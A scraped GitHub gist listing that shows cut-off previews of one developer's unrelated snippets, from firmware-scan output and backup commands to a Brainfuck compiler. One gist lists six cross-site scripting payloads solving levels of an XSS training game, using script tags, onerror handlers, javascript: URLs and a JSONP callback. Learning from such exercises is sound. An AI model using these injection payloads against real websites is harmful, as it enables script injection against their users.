Skip to content

Instantly share code, notes, and snippets.

//Crazy awful hash algorithm. Created for my personal education only.
#include <stdio.h>
#include <iostream>
#include <string>
#include <sstream>
#define BYTES 8 //8 bytes = 64 bits
using std::cout;
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
9132 0x23AC U-Boot boot loader reference
115364 0x1C2A4 Sercomm firmware signature, version control: 29184, download control: 24933, hardware ID: "d ok..!!", hardware version: 0x4547, firmware version: 0x4F46, starting code segment: 0xA21, code size: 0x0
115884 0x1C4AC HTML document footer
116084 0x1C574 HTML document header
116310 0x1C656 HTML document footer
118124 0x1CD6C HTML document footer
118152 0x1CD88 HTML document header
130970 0x1FF9A Sercomm firmware signature, version control: 0, download control: 256, hardware ID: "YS5", hardware version: 0x4100, firmware version: 0x49, starting code segment: 0x0, code size: 0x7300
DECIMAL HEXADECIMAL DESCRIPTION
------------------------------------------------------------------------------------------------------------------------------------------------------
9132 0x23AC U-Boot boot loader reference
10384 0x2890 uImage header, header size: 64 bytes, header CRC: 0x5DF640E, created: Fri Sep 25 15:20:45 2009, image size: 56666 bytes, Data Address: 0x80400000, Entry Point: 0x80400000, data CRC: 0x58BAA47, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"
10416 0x28B0 U-Boot boot loader reference
10448 0x28D0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 150884 bytes
115364 0x1C2A4 Sercomm firmware signature, version control: 29184, download control: 24933, hardware ID: "d ok..!!", hardware version: 0x4547, firmware version: 0x4F46, starting code segment: 0xA21, code size: 0x0
115884 0x1C4AC
@joesavage
joesavage / gist:052dbe526a2ca869b5a5
Created May 1, 2014 16:07
Circular 120x120 Images with ImageMagick
for file in `cat filenames.txt`; do convert -size 120x120 xc:none -fill "$file" -draw "circle 60,60 40,10" "$file" ; done
My xss-game.appspot.com Solutions
1. <script>alert('hi')</script>
2. <img src="asda" onerror="alert('hi')"/>
3. #' onerror="alert('hi')"
4. ?timer='),alert('hi
5. /signup?next=javascript:alert('hi')
6. #//www.google.com/jsapi?callback=alert
var results = {}; // Stores results of async calculations
var render = function() { /* ... render the page using 'results' ... */};
var getDatabaseRecords = function(callback) { /* ... async stuff, storing results in 'results' ... */ };
var prepareAssetPaths = function(callback) { /* ... async stuff, storing results in 'results' ... */ };
var tasks = [getDatabaseRecords, prepareAssetPaths],
params = [
[],
@joesavage
joesavage / gist:20732b171d4091fb333c
Last active August 29, 2015 14:04
Linode Rescue Mode Disk Backup
## Linode Rescue Mode Disk Backup
# Remote:
dd if=/dev/xvda | gzip -c > linode.img.gz
passwd
/etc/init.d/ssh start
# Local:
ssh root@remote-location "dd if=~/linode.img.gz " | dd of=~/Developer/Backups/Images/linode.img.gz
// ftp://ftp.fu-berlin.de/doc/iso/iso3166-countrycodes.txt
[{ country: "ÅLAND ISLANDS", alpha2: "AX", alpha3: "ALA", number: 248 },
{ country: "AFGHANISTAN", alpha2: "AF", alpha3: "AFG", number: 004 },
{ country: "ALBANIA", alpha2: "AL", alpha3: "ALB", number: 008 },
{ country: "ALGERIA", alpha2: "DZ", alpha3: "DZA", number: 012 },
{ country: "AMERICAN SAMOA", alpha2: "AS", alpha3: "ASM", number: 016 },
{ country: "ANDORRA", alpha2: "AD", alpha3: "AND", number: 020 },
{ country: "ANGOLA", alpha2: "AO", alpha3: "AGO", number: 024 },
{ country: "ANGUILLA", alpha2: "AI", alpha3: "AIA", number: 660 },
{ country: "ANTARCTICA", alpha2: "AQ", alpha3: "ATA", number: 010 },
@joesavage
joesavage / gist:84670a2f8ab46a833ed5
Created August 9, 2014 12:52
HTTPPlaysPokemon Controls
<html>
<head>
<style>
html { text-align: center; }
body { background: #222; display: inline-block; }
kbd, .kbd {
cursor: pointer;
font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
width: .8em;
text-align: center;
@joesavage
joesavage / brainfuck.cpp
Created November 17, 2014 19:28
Brainfuck Compiler/Interpreter
// A small, and relatively primitive, C-style Brainfuck compiler/interpreter.
// Written by Joe Savage, 2014
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <limits.h>
#define STACK_SIZE 512
#define DATA_SIZE 65535